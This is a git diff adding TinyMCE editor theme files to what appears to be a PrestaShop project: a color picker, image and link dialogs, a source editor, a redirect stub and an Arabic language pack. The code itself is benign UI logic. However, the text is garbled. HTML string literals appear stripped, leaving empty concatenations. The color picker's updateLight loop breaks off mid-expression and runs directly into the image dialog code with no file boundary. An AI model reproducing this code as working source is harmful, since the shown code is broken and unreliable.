White','#00FFFF':'Aqua','#7FFFD4':'Aquamarine','#F0FFFF':'Azure','#F5F5DC':'Beige', + '#FFE4C4':'Bisque','#000000':'Black','#FFEBCD':'Blanched Almond','#0000FF':'Blue','#8A2BE2':'Blue Violet','#A52A2A':'Brown', + '#DEB887':'Burly Wood','#5F9EA0':'Cadet Blue','#7FFF00':'Chartreuse','#D2691E':'Chocolate','#FF7F50':'Coral','#6495ED':'Cornflower Blue', + '#FFF8DC':'Cornsilk','#DC143C':'Crimson','#00FFFF':'Cyan','#00008B':'Dark Blue','#008B8B':'Dark Cyan','#B8860B':'Dark Golden Rod', + '#A9A9A9':'Dark Gray','#A9A9A9':'Dark Grey','#006400':'Dark Green','#BDB76B':'Dark Khaki','#8B008B':'Dark Magenta','#556B2F':'Dark Olive Green', + '#FF8C00':'Darkorange','#9932CC':'Dark Orchid','#8B0000':'Dark Red','#E9967A':'Dark Salmon','#8FBC8F':'Dark Sea Green','#483D8B':'Dark Slate Blue', + '#2F4F4F':'Dark Slate Gray','#2F4F4F':'Dark Slate Grey','#00CED1':'Dark Turquoise','#9400D3':'Dark Violet','#FF1493':'Deep Pink','#00BFFF':'Deep Sky Blue', + '#696969':'Dim Gray','#696969':'Dim Grey','#1E90FF':'Dodger Blue','#B22222':'Fire Brick','#FFFAF0':'Floral White','#228B22':'Forest Green', + '#FF00FF':'Fuchsia','#DCDCDC':'Gainsboro','#F8F8FF':'Ghost White','#FFD700':'Gold','#DAA520':'Golden Rod','#808080':'Gray','#808080':'Grey', + '#008000':'Green','#ADFF2F':'Green Yellow','#F0FFF0':'Honey Dew','#FF69B4':'Hot Pink','#CD5C5C':'Indian Red','#4B0082':'Indigo','#FFFFF0':'Ivory', + '#F0E68C':'Khaki','#E6E6FA':'Lavender','#FFF0F5':'Lavender Blush','#7CFC00':'Lawn Green','#FFFACD':'Lemon Chiffon','#ADD8E6':'Light Blue', + '#F08080':'Light Coral','#E0FFFF':'Light Cyan','#FAFAD2':'Light Golden Rod Yellow','#D3D3D3':'Light Gray','#D3D3D3':'Light Grey','#90EE90':'Light Green', + '#FFB6C1':'Light Pink','#FFA07A':'Light Salmon','#20B2AA':'Light Sea Green','#87CEFA':'Light Sky Blue','#778899':'Light Slate Gray','#778899':'Light Slate Grey', + '#B0C4DE':'Light Steel Blue','#FFFFE0':'Light Yellow','#00FF00':'Lime','#32CD32':'Lime Green','#FAF0E6':'Linen','#FF00FF':'Magenta','#800000':'Maroon', + '#66CDAA':'Medium Aqua Marine','#0000CD':'Medium Blue','#BA55D3':'Medium Orchid','#9370D8':'Medium Purple','#3CB371':'Medium Sea Green','#7B68EE':'Medium Slate Blue', + '#00FA9A':'Medium Spring Green','#48D1CC':'Medium Turquoise','#C71585':'Medium Violet Red','#191970':'Midnight Blue','#F5FFFA':'Mint Cream','#FFE4E1':'Misty Rose','#FFE4B5':'Moccasin', + '#FFDEAD':'Navajo White','#000080':'Navy','#FDF5E6':'Old Lace','#808000':'Olive','#6B8E23':'Olive Drab','#FFA500':'Orange','#FF4500':'Orange Red','#DA70D6':'Orchid', + '#EEE8AA':'Pale Golden Rod','#98FB98':'Pale Green','#AFEEEE':'Pale Turquoise','#D87093':'Pale Violet Red','#FFEFD5':'Papaya Whip','#FFDAB9':'Peach Puff', + '#CD853F':'Peru','#FFC0CB':'Pink','#DDA0DD':'Plum','#B0E0E6':'Powder Blue','#800080':'Purple','#FF0000':'Red','#BC8F8F':'Rosy Brown','#4169E1':'Royal Blue', + '#8B4513':'Saddle Brown','#FA8072':'Salmon','#F4A460':'Sandy Brown','#2E8B57':'Sea Green','#FFF5EE':'Sea Shell','#A0522D':'Sienna','#C0C0C0':'Silver', + '#87CEEB':'Sky Blue','#6A5ACD':'Slate Blue','#708090':'Slate Gray','#708090':'Slate Grey','#FFFAFA':'Snow','#00FF7F':'Spring Green', + '#4682B4':'Steel Blue','#D2B48C':'Tan','#008080':'Teal','#D8BFD8':'Thistle','#FF6347':'Tomato','#40E0D0':'Turquoise','#EE82EE':'Violet', + '#F5DEB3':'Wheat','#FFFFFF':'White','#F5F5F5':'White Smoke','#FFFF00':'Yellow','#9ACD32':'Yellow Green' +}; + +var namedLookup = {}; + +function init() { + var inputColor = convertRGBToHex(tinyMCEPopup.getWindowArg('input_color')), key, value; + + tinyMCEPopup.resizeToInnerSize(); + + generatePicker(); + generateWebColors(); + generateNamedColors(); + + if (inputColor) { + changeFinalColor(inputColor); + + col = convertHexToRGB(inputColor); + + if (col) + updateLight(col.r, col.g, col.b); + } + + for (key in named) { + value = named[key]; + namedLookup[value.replace(/\s+/, '').toLowerCase()] = key.replace(/#/, '').toLowerCase(); + } +} + +function toHexColor(color) { + var matches, red, green, blue, toInt = parseInt; + + function hex(value) { + value = parseInt(value).toString(16); + + return value.length > 1 ? value : '0' + value; // Padd with leading zero + }; + + color = color.replace(/[\s#]+/g, '').toLowerCase(); + color = namedLookup[color] || color; + matches = /^rgb\((\d{1,3}),(\d{1,3}),(\d{1,3})\)|([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})|([a-f0-9])([a-f0-9])([a-f0-9])$/.exec(color); + + if (matches) { + if (matches[1]) { + red = toInt(matches[1]); + green = toInt(matches[2]); + blue = toInt(matches[3]); + } else if (matches[4]) { + red = toInt(matches[4], 16); + green = toInt(matches[5], 16); + blue = toInt(matches[6], 16); + } else if (matches[7]) { + red = toInt(matches[7] + matches[7], 16); + green = toInt(matches[8] + matches[8], 16); + blue = toInt(matches[9] + matches[9], 16); + } + + return '#' + hex(red) + hex(green) + hex(blue); + } + + return ''; +} + +function insertAction() { + var color = document.getElementById("color").value, f = tinyMCEPopup.getWindowArg('func'); + + tinyMCEPopup.restoreSelection(); + + if (f) + f(toHexColor(color)); + + tinyMCEPopup.close(); +} + +function showColor(color, name) { + if (name) + document.getElementById("colorname").innerHTML = name; + + document.getElementById("preview").style.backgroundColor = color; + document.getElementById("color").value = color.toUpperCase(); +} + +function convertRGBToHex(col) { + var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi"); + + if (!col) + return col; + + var rgb = col.replace(re, "$1,$2,$3").split(','); + if (rgb.length == 3) { + r = parseInt(rgb[0]).toString(16); + g = parseInt(rgb[1]).toString(16); + b = parseInt(rgb[2]).toString(16); + + r = r.length == 1 ? '0' + r : r; + g = g.length == 1 ? '0' + g : g; + b = b.length == 1 ? '0' + b : b; + + return "#" + r + g + b; + } + + return col; +} + +function convertHexToRGB(col) { + if (col.indexOf('#') != -1) { + col = col.replace(new RegExp('[^0-9A-F]', 'gi'), ''); + + r = parseInt(col.substring(0, 2), 16); + g = parseInt(col.substring(2, 4), 16); + b = parseInt(col.substring(4, 6), 16); + + return {r : r, g : g, b : b}; + } + + return null; +} + +function generatePicker() { + var el = document.getElementById('light'), h = '', i; + + for (i = 0; i < detail; i++){ + h += '
    '; + } + + el.innerHTML = h; +} + +function generateWebColors() { + var el = document.getElementById('webcolors'), h = '', i; + + if (el.className == 'generated') + return; + + // TODO: VoiceOver doesn't seem to support legend as a label referenced by labelledby. + h += '
    ' + + ''; + + for (i=0; i' + + ''; + if (tinyMCEPopup.editor.forcedHighContrastMode) { + h += ''; + } + h += ''; + h += ''; + if ((i+1) % 18 == 0) + h += ''; + } + + h += '
    '; + + el.innerHTML = h; + el.className = 'generated'; + + paintCanvas(el); + enableKeyboardNavigation(el.firstChild); +} + +function paintCanvas(el) { + tinyMCEPopup.getWin().tinymce.each(tinyMCEPopup.dom.select('canvas.mceColorSwatch', el), function(canvas) { + var context; + if (canvas.getContext && (context = canvas.getContext("2d"))) { + context.fillStyle = canvas.getAttribute('data-color'); + context.fillRect(0, 0, 10, 10); + } + }); +} +function generateNamedColors() { + var el = document.getElementById('namedcolors'), h = '', n, v, i = 0; + + if (el.className == 'generated') + return; + + for (n in named) { + v = named[n]; + h += ''; + if (tinyMCEPopup.editor.forcedHighContrastMode) { + h += ''; + } + h += ''; + h += ''; + i++; + } + + el.innerHTML = h; + el.className = 'generated'; + + paintCanvas(el); + enableKeyboardNavigation(el); +} + +function enableKeyboardNavigation(el) { + tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', { + root: el, + items: tinyMCEPopup.dom.select('a', el) + }, tinyMCEPopup.dom); +} + +function dechex(n) { + return strhex.charAt(Math.floor(n / 16)) + strhex.charAt(n % 16); +} + +function computeColor(e) { + var x, y, partWidth, partDetail, imHeight, r, g, b, coef, i, finalCoef, finalR, finalG, finalB, pos = tinyMCEPopup.dom.getPos(e.target); + + x = e.offsetX ? e.offsetX : (e.target ? e.clientX - pos.x : 0); + y = e.offsetY ? e.offsetY : (e.target ? e.clientY - pos.y : 0); + + partWidth = document.getElementById('colors').width / 6; + partDetail = detail / 2; + imHeight = document.getElementById('colors').height; + + r = (x >= 0)*(x < partWidth)*255 + (x >= partWidth)*(x < 2*partWidth)*(2*255 - x * 255 / partWidth) + (x >= 4*partWidth)*(x < 5*partWidth)*(-4*255 + x * 255 / partWidth) + (x >= 5*partWidth)*(x < 6*partWidth)*255; + g = (x >= 0)*(x < partWidth)*(x * 255 / partWidth) + (x >= partWidth)*(x < 3*partWidth)*255 + (x >= 3*partWidth)*(x < 4*partWidth)*(4*255 - x * 255 / partWidth); + b = (x >= 2*partWidth)*(x < 3*partWidth)*(-2*255 + x * 255 / partWidth) + (x >= 3*partWidth)*(x < 5*partWidth)*255 + (x >= 5*partWidth)*(x < 6*partWidth)*(6*255 - x * 255 / partWidth); + + coef = (imHeight - y) / imHeight; + r = 128 + (r - 128) * coef; + g = 128 + (g - 128) * coef; + b = 128 + (b - 128) * coef; + + changeFinalColor('#' + dechex(r) + dechex(g) + dechex(b)); + updateLight(r, g, b); +} + +function updateLight(r, g, b) { + var i, partDetail = detail / 2, finalCoef, finalR, finalG, finalB, color; + + for (i=0; i=0) && (i'); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); + if (isVisible('srcbrowser')) + document.getElementById('src').style.width = '180px'; + + e = ed.selection.getNode(); + + this.fillFileList('image_list', tinyMCEPopup.getParam('external_image_list', 'tinyMCEImageList')); + + if (e.nodeName == 'IMG') { + f.src.value = ed.dom.getAttrib(e, 'src'); + f.alt.value = ed.dom.getAttrib(e, 'alt'); + f.border.value = this.getAttrib(e, 'border'); + f.vspace.value = this.getAttrib(e, 'vspace'); + f.hspace.value = this.getAttrib(e, 'hspace'); + f.width.value = ed.dom.getAttrib(e, 'width'); + f.height.value = ed.dom.getAttrib(e, 'height'); + f.insert.value = ed.getLang('update'); + this.styleVal = ed.dom.getAttrib(e, 'style'); + selectByValue(f, 'image_list', f.src.value); + selectByValue(f, 'align', this.getAttrib(e, 'align')); + this.updateStyle(); + } + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = typeof(l) === 'function' ? l() : window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + update : function() { + var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, args = {}, el; + + tinyMCEPopup.restoreSelection(); + + if (f.src.value === '') { + if (ed.selection.getNode().nodeName == 'IMG') { + ed.dom.remove(ed.selection.getNode()); + ed.execCommand('mceRepaint'); + } + + tinyMCEPopup.close(); + return; + } + + if (!ed.settings.inline_styles) { + args = tinymce.extend(args, { + vspace : nl.vspace.value, + hspace : nl.hspace.value, + border : nl.border.value, + align : getSelectValue(f, 'align') + }); + } else + args.style = this.styleVal; + + tinymce.extend(args, { + src : f.src.value.replace(/ /g, '%20'), + alt : f.alt.value, + width : f.width.value, + height : f.height.value + }); + + el = ed.selection.getNode(); + + if (el && el.nodeName == 'IMG') { + ed.dom.setAttribs(el, args); + tinyMCEPopup.editor.execCommand('mceRepaint'); + tinyMCEPopup.editor.focus(); + } else { + tinymce.each(args, function(value, name) { + if (value === "") { + delete args[name]; + } + }); + + ed.execCommand('mceInsertContent', false, tinyMCEPopup.editor.dom.createHTML('img', args), {skip_undo : 1}); + ed.undoManager.add(); + } + + tinyMCEPopup.close(); + }, + + updateStyle : function() { + var dom = tinyMCEPopup.dom, st, v, f = document.forms[0]; + + if (tinyMCEPopup.editor.settings.inline_styles) { + st = tinyMCEPopup.dom.parseStyle(this.styleVal); + + // Handle align + v = getSelectValue(f, 'align'); + if (v) { + if (v == 'left' || v == 'right') { + st['float'] = v; + delete st['vertical-align']; + } else { + st['vertical-align'] = v; + delete st['float']; + } + } else { + delete st['float']; + delete st['vertical-align']; + } + + // Handle border + v = f.border.value; + if (v || v == '0') { + if (v == '0') + st['border'] = '0'; + else + st['border'] = v + 'px solid black'; + } else + delete st['border']; + + // Handle hspace + v = f.hspace.value; + if (v) { + delete st['margin']; + st['margin-left'] = v + 'px'; + st['margin-right'] = v + 'px'; + } else { + delete st['margin-left']; + delete st['margin-right']; + } + + // Handle vspace + v = f.vspace.value; + if (v) { + delete st['margin']; + st['margin-top'] = v + 'px'; + st['margin-bottom'] = v + 'px'; + } else { + delete st['margin-top']; + delete st['margin-bottom']; + } + + // Merge + st = tinyMCEPopup.dom.parseStyle(dom.serializeStyle(st), 'img'); + this.styleVal = dom.serializeStyle(st, 'img'); + } + }, + + getAttrib : function(e, at) { + var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; + + if (ed.settings.inline_styles) { + switch (at) { + case 'align': + if (v = dom.getStyle(e, 'float')) + return v; + + if (v = dom.getStyle(e, 'vertical-align')) + return v; + + break; + + case 'hspace': + v = dom.getStyle(e, 'margin-left') + v2 = dom.getStyle(e, 'margin-right'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'vspace': + v = dom.getStyle(e, 'margin-top') + v2 = dom.getStyle(e, 'margin-bottom'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'border': + v = 0; + + tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { + sv = dom.getStyle(e, 'border-' + sv + '-width'); + + // False or not the same as prev + if (!sv || (sv != v && v !== 0)) { + v = 0; + return false; + } + + if (sv) + v = sv; + }); + + if (v) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + } + } + + if (v = dom.getAttrib(e, at)) + return v; + + return ''; + }, + + resetImageData : function() { + var f = document.forms[0]; + + f.width.value = f.height.value = ""; + }, + + updateImageData : function() { + var f = document.forms[0], t = ImageDialog; + + if (f.width.value == "") + f.width.value = t.preloadImg.width; + + if (f.height.value == "") + f.height.value = t.preloadImg.height; + }, + + getImageData : function() { + var f = document.forms[0]; + + this.preloadImg = new Image(); + this.preloadImg.onload = this.updateImageData; + this.preloadImg.onerror = this.resetImageData; + this.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.src.value); + } +}; + +ImageDialog.preInit(); +tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff --git a/js/tiny_mce2/themes/advanced/js/index.php b/js/tiny_mce2/themes/advanced/js/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/js/link.js b/js/tiny_mce2/themes/advanced/js/link.js new file mode 100755 index 0000000..e67d868 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/js/link.js @@ -0,0 +1,153 @@ +tinyMCEPopup.requireLangPack(); + +var LinkDialog = { + preInit : function() { + var url; + + if (url = tinyMCEPopup.getParam("external_link_list_url")) + document.write(''); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link'); + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '180px'; + + this.fillClassList('class_list'); + this.fillFileList('link_list', 'tinyMCELinkList'); + this.fillTargetList('target_list'); + + if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) { + f.href.value = ed.dom.getAttrib(e, 'href'); + f.linktitle.value = ed.dom.getAttrib(e, 'title'); + f.insert.value = ed.getLang('update'); + selectByValue(f, 'link_list', f.href.value); + selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target')); + selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class')); + } + }, + + update : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor, e, b, href = f.href.value.replace(/ /g, '%20'); + + tinyMCEPopup.restoreSelection(); + e = ed.dom.getParent(ed.selection.getNode(), 'A'); + + // Remove element if there is no href + if (!f.href.value) { + if (e) { + b = ed.selection.getBookmark(); + ed.dom.remove(e, 1); + ed.selection.moveToBookmark(b); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + } + + // Create new anchor elements + if (e == null) { + ed.getDoc().execCommand("unlink", false, null); + tinyMCEPopup.execCommand("mceInsertLink", false, "#mce_temp_url#", {skip_undo : 1}); + + tinymce.each(ed.dom.select("a"), function(n) { + if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') { + e = n; + + ed.dom.setAttribs(e, { + href : href, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + }); + } else { + ed.dom.setAttribs(e, { + href : href, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + + // Don't move caret if selection was image + if (e.childNodes.length != 1 || e.firstChild.nodeName != 'IMG') { + ed.focus(); + ed.selection.select(e); + ed.selection.collapse(0); + tinyMCEPopup.storeSelection(); + } + + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + }, + + checkPrefix : function(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external'))) + n.value = 'http://' + n.value; + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillTargetList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v; + + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self'); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank'); + + if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) { + tinymce.each(v.split(','), function(v) { + v = v.split('='); + lst.options[lst.options.length] = new Option(v[0], v[1]); + }); + } + } +}; + +LinkDialog.preInit(); +tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog); diff --git a/js/tiny_mce2/themes/advanced/js/source_editor.js b/js/tiny_mce2/themes/advanced/js/source_editor.js new file mode 100755 index 0000000..9cf6b1a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/js/source_editor.js @@ -0,0 +1,56 @@ +tinyMCEPopup.requireLangPack(); +tinyMCEPopup.onInit.add(onLoadInit); + +function saveContent() { + tinyMCEPopup.editor.setContent(document.getElementById('htmlSource').value, {source_view : true}); + tinyMCEPopup.close(); +} + +function onLoadInit() { + tinyMCEPopup.resizeToInnerSize(); + + // Remove Gecko spellchecking + if (tinymce.isGecko) + document.body.spellcheck = tinyMCEPopup.editor.getParam("gecko_spellcheck"); + + document.getElementById('htmlSource').value = tinyMCEPopup.editor.getContent({source_view : true}); + + if (tinyMCEPopup.editor.getParam("theme_advanced_source_editor_wrap", true)) { + setWrap('soft'); + document.getElementById('wraped').checked = true; + } + + resizeInputs(); +} + +function setWrap(val) { + var v, n, s = document.getElementById('htmlSource'); + + s.wrap = val; + + if (!tinymce.isIE) { + v = s.value; + n = s.cloneNode(false); + n.setAttribute("wrap", val); + s.parentNode.replaceChild(n, s); + n.value = v; + } +} + +function toggleWordWrap(elm) { + if (elm.checked) + setWrap('soft'); + else + setWrap('off'); +} + +function resizeInputs() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('htmlSource'); + + if (el) { + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 65) + 'px'; + } +} diff --git a/js/tiny_mce2/themes/advanced/langs/ar.js b/js/tiny_mce2/themes/advanced/langs/ar.js new file mode 100755 index 0000000..9bdeef0 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ar.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advanced',{"underline_desc":"\u062a\u062d\u062a\u0647 \u062e\u0637 (Ctrl U)","italic_desc":"\u0645\u0627\u0626\u0644 (Ctrl+I)","bold_desc":"\u0639\u0631\u064a\u0636 (Ctrl+B)",dd:"\u0627\u0644\u0648\u0635\u0641",dt:"\u062a\u0639\u0631\u064a\u0641 \u0645\u0635\u0637\u0644\u062d",samp:"Code sample",code:"\u0642\u0627\u0646\u0648\u0646",blockquote:"\u0639\u0644\u0627\u0645\u0629 \u0627\u0642\u062a\u0628\u0627\u0633 \u0641\u0642\u0631\u0629",h6:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 6",h5:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 5",h4:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 4",h3:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 3",h2:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 2",h1:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 1",pre:"\u0645\u0647\u064a\u0623 \u0645\u0633\u0628\u0642",address:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646",div:"\u0627\u0644\u062f\u0631\u062c\u0629",paragraph:"\u0627\u0644\u0646\u0635",block:"\u0627\u0644\u0647\u064a\u0626\u0647",fontdefault:"\u0639\u0627\u0626\u0644\u0647 \u0627\u0644\u062e\u0637","font_size":"\u062d\u062c\u0645 \u0627\u0644\u062e\u0637","style_select":"\u0627\u0644\u0633\u0645\u0627\u062a","more_colors":"\u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0644\u0648\u0627\u0646","toolbar_focus":"\u0644\u0644\u062a\u062d\u0631\u0643 \u0627\u0644\u0633\u0631\u064a\u0639 \u0627\u0636\u063a\u0637 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d Alt Q \u0644\u0623\u0632\u0631\u0627\u0631 \u0627\u0644\u0623\u062f\u0648\u0627\u062a\u060c Alt-Z \u0644\u0644\u0645\u062d\u0631\u0631 \u060c Alt-X \u0644\u0645\u0648\u0642\u0639 \u0627\u0644\u0639\u0646\u0635\u0631",newdocument:"\u0647\u0644 \u0623\u0646\u062a \u0645\u062a\u0623\u0643\u062f \u0623\u0646\u0643 \u062a\u0631\u064a\u062f \u0645\u0633\u062d \u0643\u0627\u0641\u0629 \u0645\u062d\u062a\u0648\u064a\u0627\u062a\u061f",path:"\u0645\u0633\u0627\u0631","clipboard_msg":"\u0646\u0633\u062e/\u0642\u0635/\u0644\u0635\u0642 \u063a\u064a\u0631 \u0645\u062a\u0648\u0627\u0641\u0631 \u0641\u064a \u0641\u064a\u0631 \u0641\u0648\u0643\u0633 \u062d\u0627\u0644\u064a\u0627 \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u062a\u0639\u0631\u0641 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a\u061f","blockquote_desc":"\u0639\u0644\u0627\u0645\u0629 \u0627\u0642\u062a\u0628\u0627\u0633 \u0641\u0642\u0631\u0629","help_desc":"\u0645\u0633\u0627\u0639\u062f\u0647","newdocument_desc":"\u0645\u0633\u062a\u0646\u062f \u062c\u062f\u064a\u062f","image_props_desc":"\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0635\u0648\u0631\u0629","paste_desc":"\u0644\u0635\u0642","copy_desc":"\u0646\u0633\u062e","cut_desc":"\u0642\u0635","anchor_desc":"\u0625\u062f\u0631\u0627\u062c / \u062a\u062d\u0631\u064a\u0631 \u0645\u0631\u0633\u0627\u0629","visualaid_desc":"\u0627\u0644\u0645\u0628\u0627\u062f\u0626 \u0627\u0644\u062a\u0648\u062c\u064a\u0647\u064a\u0629 \u062a\u0628\u062f\u064a\u0644 / \u0639\u0646\u0627\u0635\u0631 \u063a\u064a\u0631 \u0645\u0631\u0626\u064a\u0629","charmap_desc":"\u0627\u062f\u062e\u0627\u0644 \u0631\u0645\u0632 \u062c\u062f\u064a\u062f","backcolor_desc":"\u0627\u062e\u062a\u0631 \u0644\u0648\u0646 \u0627\u0644\u062e\u0644\u0641\u064a\u0647","forecolor_desc":"\u0627\u062e\u062a\u0631 \u0644\u0648\u0646 \u0627\u0644\u0646\u0635","custom1_desc":"\u0627\u062f\u062e\u0644 \u0627\u0644\u0648\u0635\u0641 \u0647\u0646","removeformat_desc":"\u0627\u0632\u0627\u0644\u0647 \u0627\u0644\u062a\u0646\u0633\u064a\u0642","hr_desc":"\u0627\u062f\u0631\u0627\u062c \u062e\u0637 \u0627\u0641\u0642\u0649","sup_desc":"\u0645\u0631\u062a\u0641\u0639","sub_desc":"\u0645\u0646\u062e\u0641\u0636","code_desc":"\u062a\u0639\u062f\u064a\u0644 \u0634\u0641\u0631\u0647 \u0627\u0644 \u0623\u062a\u0634 \u062a\u064a \u0623\u0645 \u0623\u0644","cleanup_desc":"\u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0643\u0648\u062f","image_desc":"\u0627\u0636\u0627\u0641\u0647 / \u062d\u0630\u0641 \u0635\u0648\u0631\u0647","unlink_desc":"\u062d\u0630\u0641 \u0627\u0644\u0631\u0627\u0628\u0637","link_desc":"\u0627\u0636\u0627\u0641\u0647 / \u062a\u0639\u062f\u064a\u0644 \u0631\u0627\u0628\u0637","redo_desc":"\u0627\u0644\u0625\u0639\u0627\u062f\u0629 (\u0627\u0644\u0633\u064a\u0637\u0631\u0629 + \u0635)","undo_desc":"\u062a\u0631\u0627\u062c\u0639 (\u0627\u0644\u0633\u064a\u0637\u0631\u0629 + \u0649)","indent_desc":"\u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629","outdent_desc":"\u0625\u0646\u0642\u0627\u0635 \u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629 \u0642\u0628\u0644","numlist_desc":"\u0642\u0627\u0626\u0645\u0629 \u0645\u0631\u062a\u0628\u0629","bullist_desc":"\u0642\u0627\u0626\u0645\u0629 \u063a\u064a\u0631 \u0645\u0631\u062a\u0628\u0629","justifyfull_desc":"\u0645\u062d\u0627\u0630\u0627\u0647 \u0643\u0644\u064a\u0647","justifyright_desc":"\u062a\u0648\u0633\u064a\u0637 \u064a\u0645\u064a\u0646","justifycenter_desc":"\u062a\u0648\u0633\u064a\u0637 \u0648\u0633\u0637","justifyleft_desc":"\u062a\u0648\u0633\u064a\u0637 \u064a\u0633\u0627\u0631","striketrough_desc":"\u062a\u0648\u0633\u064a\u0637 \u062e\u0637","help_shortcut":"\u0627\u0636\u063a\u0637 ALT-F10 \u0644\u0634\u0631\u064a\u0637 \u0627\u0644\u0627\u062f\u0648\u0627\u062a. \u0627\u0636\u063a\u0637 ALT-0 \u0644\u0644\u0645\u0633\u0627\u0639\u062f\u0647","rich_text_area":"\u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u062a\u0639\u062f\u064a\u0644\u0627\u062a","shortcuts_desc":"Accessability Help",toolbar:"\u0634\u0631\u064a\u0637 \u0627\u0644\u0623\u062f\u0648\u0627\u062a","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); 